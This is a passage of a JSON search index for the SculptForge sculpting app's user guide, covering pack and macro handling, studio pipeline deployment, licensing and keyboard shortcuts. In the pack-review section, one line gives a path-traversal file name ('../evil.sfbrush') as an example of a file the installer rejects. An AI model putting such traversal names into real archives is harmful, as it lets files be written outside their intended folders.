right. Contains How many brushes, alphas, Lit Spheres, Material Recipes, VDMs, keymaps, pie menus and macros, with every item listed by name. Replaces the installed version When an older version of the same pack is installed. Click Install to add it, or Cancel to leave everything as it was. When a pack fails a check, the review says which file and why (for example \"../evil.sfbrush\" leaves its folder), and nothing is installed. Installed packs live in SculptForge's own data folder, each in its own folder. A pack never replaces a built-in brush or one of your own: a pack brush called like an existing one shows the pack's name after its own, for example Clay (Member pack)."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"where-pack-items-show-up","h":"Where pack items show up","t":"Item Where Brushes and VDMs The brush lists, the Brush picker and Library > Brush, tagged with the pack's name. Alphas The Alpha picker (a Packs section) and Library > Alpha, as Name (Pack). Lit Spheres Render > Materials and Library > Material, as Name (Pack). Material Recipes The Material Recipe list under Tool > Paint Layers > Fill, as Name (Pack). Keymaps Library > Packs > Details > Apply keymap, and Edit > Preferences > Input > Pack keymaps. Pie menus Library > Packs > Details > Add pie menu (it becomes one of your radial menus). Macros F3, the key editor and the pie menus, as Name (Pack). Keymaps and pie menus change how SculptForge responds, so they are only applied when you click Apply keymap or Add pie menu. Store Config keeps the result."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"library--packs","h":"Library > Packs","t":"Open the Library (,) and click Packs. Each installed pack has a row: The check box turns the pack off or on. Off, its items leave every list; nothing is deleted. Details shows its description, folder, keymaps, pie menus and macros. Remove deletes the pack and everything it brought. Your own files are never touched. Start SculptForge with --no-packs to leave every pack out for one session (safe mode), for example to check whether a problem comes from a pack. sculptforge-cli --no-packs does the same for scripts."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"make-a-pack","h":"Make a pack","t":"Library > Packs > New Pack... lists what you made yourself: brushes in your library, images in your Library's Alphas and Lit Spheres folders, the active Part's Fill layers as a Material Recipe, your VDMs, your pie menus, your changed shortcuts (as a keymap) and your macros. Tick what goes in, fill in the name, author, license and description, and click Save Pack.... The file is checked exactly as an install would check it before it is written. Tick Member pack (insider channel) for the monthly pack or an Insider drop. It only changes the label shown in the review and the pack list; anyone can install the file. To build a pack from a folder in a script, lay the folder out like a pack (brushes/, alphas/, litspheres/, materials/, vdms/, keymaps/, piemenus/, macros/, plus LICENSE.txt and preview.png) and run: sculptforge-cli -c 'pack_create folder=MyPack path=MyPack.sfpack id=my-pack name=\"My Pack\" author=Me license=CC-BY-4.0' The file format is described in the pack format."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"record-a-macro","h":"Record a macro","t":"In Library > Packs, click Record Macro. A red Recording macro note shows at the top of the window. Work as usual: every command you run from a menu, a button, the console or a script line is kept. Click Stop Recording. The Macro Editor opens with the commands; give the macro a name and click Save. Commands a macro may not run (see below) are left out, and the status line says how many. A file inside the project folder is kept as a path relative to it; any other file becomes ?, which asks for a file when the macro runs."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"write-or-change-a-macro","h":"Write or change a macro","t":"Macro Editor (in Library > Packs, or F3) is a plain text editor. A macro is the command language of the console and sculptforge-cli, one command per line, # for comments: # name: Clean Up Scan # description: Remesh, smooth and export a GLB next to the project remesh resolution=256 mask_clear export_glb path=exports/clean.glb The line under the text checks it as you type: every command must exist, be allowed in a macro and have the values it needs. Save writes it to your macros folder; Run runs it."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"run-a-macro","h":"Run a macro","t":"Every saved macro (yours and those of enabled packs) is an action: F3: type its name and press Enter. Edit > Preferences > Hotkeys: find it with the filter and give it a key, like any other action (see Assign shortcuts). Edit > Preferences > Input > Radial Menus: put it in a pie menu slot. Library > Packs: Run next to your macros, or in a pack's Details. The first time a macro runs, SculptForge shows its whole command list and asks. Click Run to go on; you are not asked again for that macro unless its text changes. A macro's edits on one Part are one undo step (Ctrl+Z takes back the whole macro)."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"what-a-macro-can-do","h":"What a macro can do","t":"A macro only runs SculptForge's own commands, in order. It can't run programs or scripts, and it can't: reach the network (AI services, the brush gallery, Unreal, the phone link) or send to Blender, Maya or the Bridge; install, remove or switch packs, or run another macro; name a file outside the project folder. File values are either a path inside the folder of the saved project (exports/clean.glb) or ?, which opens a file dialog when the macro runs. Absolute paths, .., ~ and drive letters are refused. Save the project first when a macro uses relative paths: they are relative to the project's folder."},{"p":"packs-and-macros.html","c":"Packs and macros","a":"scripts-and-python","h":"Scripts and Python","t":"The same rules apply outside the app: Command What it does pack_install path=Pack.sfpack Checks and installs a pack (the app shows the review first). pack_list Lists the installed packs: id, name, version, author, license, contents, on or off. pack_remove id=my-pack Removes a pack. pack_enable id=... / pack_disable id=... Turns a pack on or off. pack_create folder=... path=... Makes a pack from a folder laid out like one. macro_run name=... or path=... Runs a macro (project= sets the folder its relative paths use). macro_list / macro_check Lists the macros, or checks one without running it. In Python, sculptforge.run(doc, \"pack_install\", path=\"Pack.sfpack\") and the other commands work the same way. A command you type into sculptforge-cli or Python is your own explicit request, so it runs without the confirmation the app shows. AI agents connected through sculptforge-cli --mcp can't install, remove or switch packs."},{"p":"studios.html","c":"SculptForge for studios","a":"","h":"SculptForge for studios","t":"SculptForge is built to drop into animation, VFX and game studios that run their own pipelines: native on Linux, scriptable, standards-based, with no licence server and nothing that phones home. This chapter is for pipeline TDs and IT: the VFX Reference Platform builds, Rez deployment, shared brush libraries, environment variables, headless use and licensing."},{"p":"studios.html","c":"SculptForge for studios","a":"vfx-reference-platform-builds","h":"VFX Reference Platform builds","t":"SculptForge tracks the VFX Reference Platform. Every commit is built and tested in the platform's reference environments: CY2026 CY2027 SculptForge Linux compiler GCC 14.2 GCC 14.2 Built and tested with gcc-toolset-14 glibc 2.28 (EL8) 2.34 (EL9) Rocky Linux 8 and 9 builds; CI checks that no newer glibc symbols are used C++ C++20 C++20 C++20 Python 3.13 3.13 The sculptforge module is built and tested against 3.13 Windows VS 2022 17.6+ VS build tools 14.44+ Visual Studio 2022 macOS minimum 14.0 14.0 Universal binary with deployment target 11.0 FBX 2020.x 2020.x Writes FBX 7.4 binary, which FBX SDK 2020 reads SculptForge doesn't depend on Qt, OpenEXR, Boost, TBB or other platform libraries, so it can't conflict with the versions your other tools load. Its few dependencies (SDL3, Dear ImGui, GLM, ufbx) are linked into the binaries. Each release includes SculptForge--linux--vfx2026.tar.gz (Rocky 8, glibc 2.28) and ...-vfx2027.tar.gz (Rocky 9, glibc 2.34), for x86_64 and ARM64, with the Python module under lib/sculptforge/python."},{"p":"studios.html","c":"SculptForge for studios","a":"deploy-with-rez","h":"Deploy with Rez","t":"packaging/rez/package.py in the source tree builds and installs a Rez package: cd packaging/rez SCULPTFORGE_PYTHON=$(which python3.13) rez-build --install # or --release for your release repository rez-env sculptforge -- sculptforge # the app rez-env sculptforge -- sculptforge-cli --list # every pipeline command rez-env sculptforge python-3.13 -- python -c \"import sculptforge\" The package puts bin/ on PATH and the Python module on PYTHONPATH, and sets SCULPTFORGE_ROOT. The Python module is built for the first python3 found unless SCULPTFORGE_PYTHON names an interpreter."},{"p":"studios.html","c":"SculptForge for studios","a":"studio-brush-libraries","h":"Studio brush libraries","t":"Each artist's own brushes live in their user brush library, one .sfbrush file per brush (see Brush Lab and sharing brushes). To give a whole team the same brushes, put .sfbrush files on a share and list it in SCULPTFORGE_BRUSH_PATH: export SCULPTFORGE_BRUSH_PATH=/studio/brushes:/show/troll/brushes # ';' between folders on Windows sculptforge-cli -c 'brush_library' # every brush, where it comes from and its file, plus the folders The app, sculptforge-cli and the Python module load these folders at start-up, read-only: SculptForge never writes into them, so the share can be mounted read-only. Studio brushes show a studio tag in the Custom brushes list. When brushes share a name, the artist's own wins over a studio one, which wins over a built-in. Among studio folders, the first one listed wins. Refining a studio brush in Brush Lab saves the artist's own version (tagged yours) without touching the share. Deleting that version brings the studio brush back. To publish a brush, copy its .sfbrush file into the share: right-click it in the Custom brushes list > Save .sfbrush..., or take it from an artist's user library. With Rez, set the share once for everyone: when SCULPTFORGE_STUDIO_BRUSHES is set as the package resolves (in a site package, your rezconfig or the launcher), it is appended to SCULPTFORGE_BRUSH_PATH. export SCULPTFORGE_STUDIO_BRUSHES=/studio/brushes rez-env sculptforge -- sculptforge"},{"p":"studios.html","c":"SculptForge for studios","a":"environment-variables","h":"Environment variables","t":"Variable Effect SF_AI off: every AI feature off and locked (app, sculptforge-cli, MCP, Python); on: on whatever was saved. --no-ai does the same as off for one start SCULPTFORGE_BRUSH_PATH Read-only studio brush folders (:-separated, ; on Windows) SCULPTFORGE_STUDIO_BRUSHES With the Rez package: appended to SCULPTFORGE_BRUSH_PATH SCULPTFORGE_BRUSH_GALLERY Use another community brush gallery index (a URL or a folder), for example an in-house mirror HF_TOKEN (or HUGGING_FACE_HUB_TOKEN) Hugging Face token for the free image-to-3D models FAL_KEY, MESHY_API_KEY Keys for the paid generation services ANTHROPIC_API_KEY, OPENAI_API_KEY Keys for Brush Lab providers XDG_DATA_HOME (Linux), APPDATA (Windows) Move the settings folder (see where settings live) Keys from the environment are used when none is saved in the app, so a launcher can supply them without writing them to each artist's settings."},{"p":"studios.html","c":"SculptForge for studios","a":"headless-and-farm-use","h":"Headless and farm use","t":"sculptforge-cli runs every editing operation without a display: imports, remeshing, decimation, LOD chains, FBX, USD and glTF export, splat conversion and AI generation. See Scripting and automation. sculptforge --render out.png --turntable 8 renders review images and turntables offscreen. It needs an OpenGL 3.3 context; on a headless Linux node, run it under Xvfb. sculptforge-cli --mcp exposes the same operations to AI agents through the Model Context Protocol. import sculptforge gives Python the same commands plus NumPy arrays of the mesh, for your own tools. A typical farm job turns incoming scans into game-ready assets: sculptforge-cli --set in=/ingest/scan_042.ply --set usd=/assets/scan_042.usda --set glb=/assets/scan_042.glb -c ' open path=$in splat_transform rotate_x=180 fit=true splat_clean splat_to_mesh detail=320 preset=game color=texture export_usd path=$usd export_lods path=$glb levels=4 ratio=0.5 ' A --set variable replaces a whole value, so pass complete paths (with their extensions) as variables."},{"p":"studios.html","c":"SculptForge for studios","a":"formats-in-a-pipeline","h":"Formats in a pipeline","t":"Format Read Write Notes OpenUSD (.usda, .usdz) Yes Yes Meshes, xform ops, Z-up stages, UsdSkel blend shapes, ParticleField Gaussian splats, textures; checked with OpenUSD's validators FBX Yes (any version) Yes (7.4 binary) LOD groups, blend shapes, centimetre units, textures; checked with ufbx's strict mode glTF / GLB Yes Yes Morph targets, vertex colours, KHR_gaussian_splatting, embedded textures; checked with the Khronos validator OBJ Yes Yes Objects as Parts, groups as face groups, vertex colours, textures through .mtl PLY Yes Yes Meshes with vertex colours, Gaussian splats STL Yes (binary and ASCII) Yes (binary) Bridge Yes Yes Face Groups, mask, vertex paint, UVs SculptForge project (.sfproj) Yes Yes Everything; a documented ZIP of JSON and binary arrays Binary .usdc files and USD references or payloads aren't read yet; convert with usdcat in.usd -o out.usda. The project format is described in docs/project-format.md in the source tree, so pipeline tools can read it without SculptForge."},{"p":"studios.html","c":"SculptForge for studios","a":"licensing","h":"Licensing","t":"SculptForge is free software under the GNU General Public License, version 3 or later. In practice: Using it is unrestricted, commercially or otherwise, on any number of machines. There are no seats, licence servers or accounts. Your artwork belongs to you. The GPL covers the program, not the models you make with it. You can modify it in-house. The GPL only requires you to share source if you distribute the modified program outside your organisation. Internal use, including across your own facilities and farm, is generally not considered distribution. (This is the common reading of the GPL, not legal advice; check with your counsel.) SculptForge has no telemetry and no servers of its own. AI features are optional and talk only to the service each artist chooses, or to your own ComfyUI server."},{"p":"studios.html","c":"SculptForge for studios","a":"studio-membership","h":"Studio membership","t":"SculptForge is free for any number of artists, and nothing in the app is ever paywalled. A Studio membership ($300 a month; Founding Studio: the first 10 studios lock in $150 a month for as long as they stay subscribed) covers your whole company, with no seat count: Insider for every artist: the monthly pack, daily drops (a brush, alpha or VDM almost every day), the feature vote and the monthly dev Q&A. Insiders will get each release about two weeks early, starting with SculptForge 1.0. A custom studio build with your presets, keymaps, packs, shelves and pipeline defaults baked in. Custom content: brushes, alphas, VDMs, macros and pipeline presets made for your team. Guided development: your requests go to the front of the roadmap, with a monthly call or async review with the developer. Priority triage: reviewed within 2 business days (no fix-time guarantee). A private team channel on Discord, and your logo on the website and in the README. Every release stays free for everyone; bug-fix and security releases go out to everyone the same day. Larger custom features are quoted separately. Join at sculptforge.app/studios.html."},{"p":"studios.html","c":"SculptForge for studios","a":"studio-onboarding","h":"Studio onboarding","t":"After checkout, email [email protected] from a studio address with the GitHub usernames that should get the private repository (as many artists as you like) and who should join the team channel."},{"p":"studios.html","c":"SculptForge for studios","a":"custom-content","h":"Custom content","t":"Studios can ask for their own content, made to order: Brushes tuned to your style. Alphas and VDMs made from your own references or scans (only material you own). Macros and one-click workflows. Pipeline presets: export settings, naming, scale, axis, texture packing and Bridge setup. Keymaps and layouts. All of it is baked into your custom studio build. Up to 5 custom items a month (brushes, alphas, macros or presets); larger features are quoted separately. Your assets stay private to your studio and are never used for anything else."},{"p":"studios.html","c":"SculptForge for studios","a":"requesting-a-custom-build","h":"Requesting a custom build","t":"Send, in one email or a message in your team channel: What to bake in: your exported keymap and layout (Edit > Preferences > Interface), brush presets and packs (.sfbrush, .sfpack), shelf setup, and the pipeline defaults you want. References for custom content: images or scans you own, with a line on what each item should do. Where it runs: platforms and, for Linux, the distribution or VFX Reference Platform year. Files are treated as data only: scripts and executables you send are never run. Your build is published as a release in the private repository, built by the same pipeline and tests as public builds, with its source (it is GPL like every SculptForge build). Each new release brings an updated studio build."},{"p":"studios.html","c":"SculptForge for studios","a":"guided-development","h":"Guided development","t":"Tell us what your team needs most, in the team channel or on the monthly call (or an async review, if a call doesn't suit your time zone). Studio requests go to the front of the roadmap: each month we agree what comes next, and you see it in preview builds about a week before the release. Requests that are bigger than a normal release's work are quoted separately before anything starts."},{"p":"studios.html","c":"SculptForge for studios","a":"not-yet","h":"Not yet","t":"Planned pipeline features, roughly in order: OpenColorIO viewport display, Alembic export, fuller USD authoring (layers, variants, references, .usdc), UVs and texture baking, multiresolution sculpting. Pipeline requests are welcome as issues on the project's GitHub page."},{"p":"studios.html","c":"SculptForge for studios","a":"see-also","h":"See also","t":"Scripting and automation Exporting, Unreal and Bridge Brush Lab and sharing brushes Image and text to 3D: running models on your own ComfyUI server Troubleshooting"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"","h":"Keyboard and mouse","t":"This chapter is the reference for every default keyboard shortcut and mouse gesture in SculptForge. Inside the app, F1 opens the same list as the Controls window, showing your own keys if you've changed any. SculptForge has four key styles, chosen in Edit > Preferences > Input > Style (and by the Coming from question the first time SculptForge starts): SculptForge (the default for new installs), Classic, Blender and Maya. The main table shows the SculptForge style; the sections after it list what the classic and Blender styles change. If you used an earlier version, your saved style is kept."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"changing-shortcuts","h":"Changing shortcuts","t":"Every key below can be reassigned: hold Ctrl+Alt and click a button, then press the new key, or use Edit > Preferences > Hotkeys. Press Ctrl+Shift+I (Store Config) to keep your changes. See Customizing the interface. On macOS, Cmd works wherever a shortcut says Ctrl. Single-letter shortcuts don't fire while you type in a text field."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"keyboard-shortcuts","h":"Keyboard shortcuts","t":"The table lists the default shortcut of every action in the SculptForge style, grouped by palette. It is generated from SculptForge's action registry, the same source as the Controls window."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"brush","h":"Brush","t":"Action Keys What it does Brush picker B Pop up every brush under the cursor. Type the first letter of a brush, then the orange letter on its tile (B S T = Standard). Capture from view Ctrl+Alt+C Alpha and VDM from the viewport: drag a square over any sculpted detail (Shift for a circle) and capture it as a grayscale height alpha and as a vector displacement brush, ready to stamp with the VDM brush or along strokes with Detail Clone, and to save in your library. Clay 2 Builds up clay that fills the hollows first. Clay Block 0 Square, flat-topped clay strokes for blocking in forms. Crease 6 Cuts a sharp crease; Alt raises a ridge. Flatten 7 Presses the surface toward a plane. Inflate 5 Swells the surface outward along its normals. Move 4 Grabs the surface under the cursor and pulls it along. Paste brush Ctrl+V Add the brush on the clipboard: a brush code someone shared, or the text of a .sfbrush file. Pinch 8 Pulls the surface toward the stroke to tighten edges. Sharp Crease 9 A sharp V-shaped crease with the sides pinched in. Smooth 3 Relaxes the surface. Hold Shift to smooth with any brush. Standard 1 Raises the surface along the stroke; Alt digs in."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"color","h":"Color","t":"Action Keys What it does Pick colour C Take the paint colour from the model under the cursor. Switch Color V Swap the main and the secondary colour."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"draw","h":"Draw","t":"Action Keys What it does Draw Size at cursor S A Draw Size slider under the cursor: drag it, or type a number and press Enter. Falloff at cursor O A Falloff slider under the cursor: below 0 a broad, hard brush tip, above 0 a soft point (-100..100). The inner ring of the brush cursor shows it. Intensity at cursor U or I A Intensity slider under the cursor: drag it, or type a number (1-100) and press Enter. Hold Shift (or pick Smooth) to set Smooth's own Intensity. Larger brush ] Make the brush 10% larger (hold to repeat; Shift+] steps one pixel). Larger brush by 1 px Shift+] Make the brush one pixel larger (half a pixel below 2 px). Paint P Paint colour without sculpting. Alt paints back to white, Shift still smooths. Smaller brush [ Make the brush 10% smaller (hold to repeat; Shift+[ steps one pixel). Smaller brush by 1 px Shift+[ Make the brush one pixel smaller (half a pixel below 2 px), down to 0.5 px."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"edit","h":"Edit","t":"Action Keys What it does Redo Ctrl+Shift+Z or Ctrl+Y Redo the last undone action. Undo Ctrl+Z Undo the last action."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"file","h":"File","t":"Action Keys What it does Export GLB... Ctrl+E Export the model as glTF binary, with sculpt layers as blend shapes (morph targets). New Sphere Ctrl+N Replace the scene with a new sphere ready for sculpting. Open... Ctrl+O Open a project (.sfproj), a model (.obj, .glb, .fbx, .stl, .ply, .usd ...) or splats. Quit Ctrl+Q Close SculptForge (asks to save changes first). Save Ctrl+S Save the project (.sfproj: every Part, layer, brush and setting). Asks for a name the first time. Save As... Ctrl+Shift+S Save the project under a new name. Send to Unreal Ctrl+U Export a game-ready FBX and import it into the running Unreal Editor (Python remote execution)."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"help","h":"Help","t":"Action Keys What it does Command palette F3 or Ctrl+Shift+P Search every command, brush and setting by name and run it. Commands that need parameters open in the console. Controls F1 Every shortcut and mouse gesture, generated from the commands themselves. Quick Menu Space The Quick Menu under the cursor: brush, stroke, alpha, material, colour, Draw Size, Falloff and the intensities. Hold Space and let go to close it, or tap Space to keep it open. User Guide Shift+F1 The SculptForge user guide: every tool explained, with search. Hold Ctrl over a control and press F1 to open the chapter about it."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"library","h":"Library","t":"Action Keys What it does Library , Show or hide the Library: thumbnails of your projects, models, brushes, alphas, materials, images, splats and Snapshots along the top of the canvas. Double-click to load."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"material","h":"Material","t":"Action Keys What it does Material picker M Pop up the materials under the cursor. Hover one to preview it on the model; click to keep it."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"preferences","h":"Preferences","t":"Action Keys What it does Load UI... Ctrl+L Load a layout file someone shared (or you saved with Save UI). Radial menu 1: Brushes T Hold the key, flick toward an item and let go to run it; or tap the key and click one. Edit it in Preferences > Input > Radial Menus. Radial menu 2: Masking Y Hold the key, flick toward an item and let go to run it; or tap the key and click one. Edit it in Preferences > Input > Radial Menus. Radial menu 3: Strokes J Hold the key, flick toward an item and let go to run it; or tap the key and click one. Edit it in Preferences > Input > Radial Menus. Save UI... Ctrl+Alt+Shift+I Save the layout, shortcuts and interface preferences to a file you can share. Shelves Tab Hide or show the shelves and trays around the canvas. Store Config Ctrl+Shift+I Keep the current layout, shortcuts and interface preferences for future sessions. SculptForge never saves them on its own."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"render","h":"Render","t":"Action Keys What it does Fullscreen F11 Fill the screen with SculptForge (again: back to a window). Mask Ctrl+H Show or hide the mask (masked areas drawn darker). Hiding it keeps the mask: masked areas stay protected from brushes until you clear it. Wireframe Shift+F Show the mesh's polygons (quads and triangles) over the surface."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"script","h":"Script","t":"Action Keys What it does Console ` The script console: every command you run appears as a script line, and you can type commands yourself."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"stroke","h":"Stroke","t":"Action Keys What it does Steady Stroke L Steady Stroke on or off, with every stroke type (Dots, Drag Stamp, Slide Stamp, Spray): the brush trails the cursor on a string and only moves once the string is taut, for steady lines without hand shake. Stroke popup G A grid at the cursor with the stroke types, the modifiers (Add / Sub, Smooth, Mask, Select) and the mask and Cut shapes. Hold the key, point at one and let go; or tap the key and click. Smooth, Mask, Select and the shapes stay on without holding Shift or Ctrl, until you pick them again or another brush."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"tool","h":"Tool","t":"Action Keys What it does Clear Mask Ctrl+Shift+A Unmask everything (also: Ctrl+drag on the background, away from the model). Divide Ctrl+D Add a subdivision level: four times the polygons, and the lower levels are kept, so you can step down to shape big forms and back up to the detail. Quads stay quads (Catmull-Clark). Smt off divides without smoothing. Duplicate Part Ctrl+Shift+D Copy the active Part, with its layers and attributes, and make the copy active (also in the Parts list's right-click menu). Group Masked Ctrl+W Turn the masked part into a new face group and clear the mask. With nothing masked, everything visible becomes one group. Higher Res D Step one subdivision level up (more polygons, for detail). Edits made below carry the detail along. Invert Mask Ctrl+I Mask what is unmasked and unmask what is masked (also: Ctrl+click the background). Lower Res Shift+D Step one subdivision level down (fewer polygons, for big forms). The detail of the higher levels is kept. Mask All Ctrl+A Mask the whole visible Part. Preview A Show the skin Make Mesh would build instead of the spheres. Turn it off to edit the spheres again."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"transform","h":"Transform","t":"Action Keys What it does Back view Ctrl+Numpad 1 Look at the model from behind (orthographic). Bottom view Ctrl+Numpad 7 Look up at the model from below (orthographic). Draw Q Draw mode: brushes sculpt and paint (leaves the Gizmo). Frame F Fit the whole model in the view. Frame Part Numpad . Fit the active Part in the view (Blender: View Selected). Front view Numpad 1 Look at the model from the front (orthographic). Left view Ctrl+Numpad 3 Look at the model's left side (orthographic). Move W Gizmo, Move: drag an arrow to move along an axis, a square to move in a plane, the centre to move in the view. Masked parts stay; Shift snaps to the grid; Alt+drag moves only the gizmo. W again: back to Draw. Opposite side Numpad 9 Look at the model from the other side. Orbit down Numpad 2 Turn the view 15 degrees down under the model. Orbit left Numpad 4 Turn the view 15 degrees to the left around the model. Orbit right Numpad 6 Turn the view 15 degrees to the right around the model. Orbit up Numpad 8 Turn the view 15 degrees up over the model. Orthographic Numpad 5 Switch between a perspective and an orthographic view (no foreshortening: sizes don't shrink with depth). Right view Numpad 3 Look at the model's right side (orthographic). Rotate R Gizmo, Rotate: drag a ring to turn about that axis, the outer ring to turn in the view. Mask the body and put the pivot at a joint to pose a limb. Shift snaps to 15 degrees. R again: back to Draw. Scale E Gizmo, Scale: drag a box to stretch along an axis or the centre to scale evenly (right or up: bigger). Shift snaps to 10% steps. E again: back to Draw. Top view Numpad 7 Look down on the model (orthographic). X X Mirror strokes across X (left and right). Zoom in Numpad Plus Move the view closer. Zoom out Numpad Minus Move the view back."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"uv-editor","h":"UV Editor","t":"Action Keys What it does UV Editor Alt+U Open the UV Editor: the Part's UV layout in 2D over the UDIM tiles. Select vertices, edges, faces or islands (here or on the model), move, rotate and scale them, mark seams, unwrap, pack, set texel density and lay islands into trim sheet strips. Stretch and texel density show live on the model while you edit."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"view","h":"View","t":"Action Keys What it does Lock camera Shift+L Lock the camera for left-drags: a drag that starts on the background sculpts once it reaches the model instead of turning the view (Preferences > Input > Start strokes off the model, #62). The status bar shows CAMERA LOCKED while it is on. Right-drag or Alt+drag still move the view. Shift+L turns it on and off."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"mouse-and-pen-gestures","h":"Mouse and pen gestures","t":"Action Gesture Sculpt Left-drag on the model Sculpt from beside the model Turn on Edit > Preferences > Input > Start strokes off the model (or press Shift+L), then left-drag from the background onto the model; the view then turns with a right-drag (see Navigation) Invert the brush (subtract) Hold Alt while sculpting Smooth Hold Shift while sculpting (works with any brush, and with Paint) Straight line Press Shift after a stroke has started (45 degree steps) Roll the view Shift+click the background, let go of Shift, drag Rotate Left-drag on the background, or right-drag; hold Shift to snap to an axis view Pan Alt+left-drag on the background, Alt+right-drag, or middle-drag Zoom Mouse wheel; Alt+drag on the background then release Alt; Ctrl+right-drag; Ctrl+middle-drag; Ctrl+left-drag on the background when nothing is masked (not in the classic) Paint the mask Hold Ctrl while stroking on the model Erase the mask Hold Ctrl+Alt while stroking on the model Blur / sharpen the mask Ctrl+click / Ctrl+Alt+click the model Invert the mask Ctrl+click the background Clear the mask Ctrl+drag on the background with something masked (with Mask Pen), or Ctrl+Shift+A Mask inside a lasso or rectangle Ctrl+drag with Mask Lasso or Mask Rectangle picked in Tool > Masking (add Alt: unmask) Isolate a face group Ctrl+Shift+click it (again: invert the visibility; with something hidden already: hide it) Hide a face group Ctrl+Shift+Alt+click it Show everything Ctrl+Shift+click the background Hide outside a rectangle or lasso Ctrl+Shift+drag (add Alt: hide inside); Select Rectangle or Select Lasso in Tool > Visibility Select a Part Alt+click it in the view (Shift+Alt+click, or a triple-click on another Part: select and frame it) Move, scale or rotate with the Gizmo W, E or R, then drag a handle; hold Shift to snap (15 degrees, the grid, 10%) Move the gizmo only Alt+drag a gizmo handle Put the gizmo's pivot on the model Alt+click the model in Move, Scale or Rotate mode Pan, zoom or orbit with a button Drag on Move, Zoom or Rotate on the right shelf Help on any control Hold Ctrl and point at it (Ctrl+Alt: scripting parameters) Assign a shortcut Ctrl+Alt+click any button, then press the key Move or remove shelf items Ctrl+Alt+drag (with Enable Customize on) Tablet pressure Used automatically when a pen is detected (Pressure > Strength / Pressure > Size) Open files Drop a model (.obj, .glb ...), project, brush (.sfbrush), splat capture or image onto the window"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"keys-inside-pop-ups-and-panels","h":"Keys inside pop-ups and panels","t":"Some keys only mean something while a pop-up or panel has the keyboard."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"brush-picker-b","h":"Brush picker (B)","t":"Key Action A letter Keep the brushes whose names start with the letters typed so far The highlighted letter on a tile Pick that brush (B S T = Standard) Backspace Take back one letter Enter Pick the first match Esc Close"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"sliders-at-the-cursor-s-u-i-o","h":"Sliders at the cursor (S, U, I, O)","t":"Key Action Digits and . Type a value Enter Apply the typed value and close Esc Close without applying a typed value"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"command-palette-f3","h":"Command palette (F3)","t":"Key Action Up / Down, Page Up / Page Down Choose a row Enter Run it Shift+Enter Open a command with parameters in the console to edit them Esc Close"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"console-","h":"Console (`)","t":"Key Action Enter Run the line (statements separated by ;) Tab Complete a command or parameter name; press again to list the candidates Up / Down Walk through earlier lines (the last 200 are remembered between sessions)"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"shortcut-capture-ctrlaltclick","h":"Shortcut capture (Ctrl+Alt+click)","t":"Key Action Any key or chord Becomes the new shortcut (taken from another action if it had it) Backspace or Delete Remove the shortcut Esc Cancel"},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"classic-sculpting-keys","h":"Classic sculpting keys","t":"With Edit > Preferences > Input > Style on Classic, the keys and gestures work. Store Config (Ctrl+Shift+I) keeps the choice. Compared with the table above, these change: To SculptForge style classic Pick one of the first ten brushes 1 to 9, 0 (Standard, Clay, Smooth, Move ...) No key: the number keys are free Save Snapshot No key 9 Slider at the cursor on I Intensity (as U) RGB Intensity Ctrl+drag on the background with nothing masked Zooms Draws a mask rectangle (one that misses the model clears the mask) Zoom drags (Ctrl+right-drag, Alt+drag then release) Up zooms in Up zooms out Everything else, from the B brush letters and S / U / O to the Ctrl and Ctrl+Shift gestures, is the same in both styles. The Maya style keeps these the Classic sculpting keys and changes only the view controls (Alt+left, middle and right drags)."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"maya-keys","h":"Maya keys","t":"With Edit > Preferences > Input > Style on Maya (#32), the view works as in Maya, on the model or beside it, as long as Alt is the only key held: To Maya style Rotate Alt+left-drag Pan Alt+middle-drag Zoom Alt+right-drag sideways: right zooms in, left zooms out, as Maya's own dolly Invert the brush (subtract) Hold Ctrl while sculpting Paint a mask / erase it Ctrl+Alt+drag / Ctrl+Alt+Shift+drag Smooth Hold Shift while sculpting Visibility gestures Ctrl+Shift, as in the other styles Maya's default dolly follows a sideways drag, so that is the default here too. Edit > Preferences > Input > Zoom drag switches it to Up and down (drag up to zoom in) if you set Maya up that way. Invert zoom, in every style, turns zoom drags around (the mouse wheel stays as it is)."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"blender-keys","h":"Blender keys","t":"With Edit > Preferences > Input > Style on Blender (also at the top of the Controls window, F1), the view and the sculpt keys work as in Blender 4.2 and later, Sculpt Mode (with 5.1's Alt mask). Compared with the table above, these change in the Blender style: To Blender style Rotate Middle-drag, or Alt+left-drag beside the model (everywhere with Edit > Preferences > Input > Emulate 3 Button Mouse, for pens and trackpads), or left-drag beside the model Pan Shift+middle-drag, or Alt+Shift+left-drag Zoom Mouse wheel, Ctrl+middle-drag (up: closer), Alt+Ctrl+left-drag, Numpad Plus / Numpad Minus Invert the brush (subtract) Hold Ctrl while sculpting Mask / unmask Alt+drag / Ctrl+Alt+drag on the model (Blender 5.1 and later), or the Mask brush (M) Smooth Hold Shift while sculpting Front, right, top view Numpad 